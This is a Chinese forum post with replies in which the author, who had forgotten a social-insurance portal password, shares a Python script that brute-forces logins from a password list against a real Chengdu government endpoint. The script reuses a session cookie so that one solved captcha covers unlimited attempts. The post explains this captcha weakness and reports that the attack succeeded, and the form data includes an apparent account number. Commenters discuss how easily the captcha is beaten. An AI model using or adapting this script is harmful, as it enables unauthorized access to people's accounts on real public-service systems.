前一阵子想查询社保,结果忘记登录密码了.今天公司停电,又听同事说只要身份证就可以去社保局重置密码.于是我就兴冲冲地去了.结果在自助终端需要支付密码,在柜台需要社保卡.mmmp!
回到家里后就撸了这个程序
首先登录界面长这个样子
下面是表单重点
其中
代码 #coding: utf-8 import urllib2 import urllib from cookielib import CookieJar from time import sleep
opener = urllib2.build_opener()
opener.addheaders.append(("Cookie", "粘贴 cookie 至此"))
# 这里将网页上的数据弄过来
formdata = formdata = {"username": "022396919", "password1": "", "sfz": "", "checkCode": "336", "m": "null",
"state": "null", "redirect_uri": "http://insurance.cdhrss.gov.cn/GetTokenAction.do",
"response_type": "code", "client_id": "yhtest", "e": "null", "password": "13536415"}
# 这里填写你的密码列表
passwords = ["password1", "password2", "password3"]
for password in passwords:
formdata["password"] = password
data_encoded = urllib.urlencode(formdata)
response = opener.open( "http://jypt.cdhrss.gov.cn:8045/yhjypt/oauth/authorizeNoCaAction!getCode.do", data_encoded)
content = response.read()
print "登录失败,社保编码或查询密码有误!" in content, password
上面的判断是看是否这个查询密码错误是否出现在返回的数据中, 而这个红色箭头所指的地方就是查询密码没有出现错误, 所以就用这个False所对应的面去网站试试,结果当然是成功的了
其实验证码判断的依据是你用什么凭证去验证你的验证码,所以你的凭证在没有改变时,你用当前的凭证是可以进行多次验证同一个验证码的.如果你发现验证码有问题.那就打开调试,然后点击验证码图片,然后请求验证码图片,填写当前验证码并把当前请求里面的 Cookie 更新进代码即可.Over~
1
xeis 2017-01-05 16:04:59 +08:00
只防人不防机器人的机制。。。
|
3
AlisaDestiny 2017-01-05 16:20:14 +08:00
要是发验证码的时候把验证码的值放在服务器的 session 中你还有办法不。
|
4
dikT OP @AlisaDestiny 你应该说的是换 key, 但是它依然还是有个请求是获取图片的,而且这个图片还是比较简单那种,依然很好破解
|
5
qwer1234asdf 2017-01-05 16:50:46 +08:00
上次爬一个小说站就是这么搞的。。
|
6
eyp82 2017-01-05 23:12:52 +08:00
意思是你有一堆常用密码但是不记得到底是哪一个了. 所以就穷举了一下是吗? 然后你这个脚本的作用是不想每次都输入验证码?
|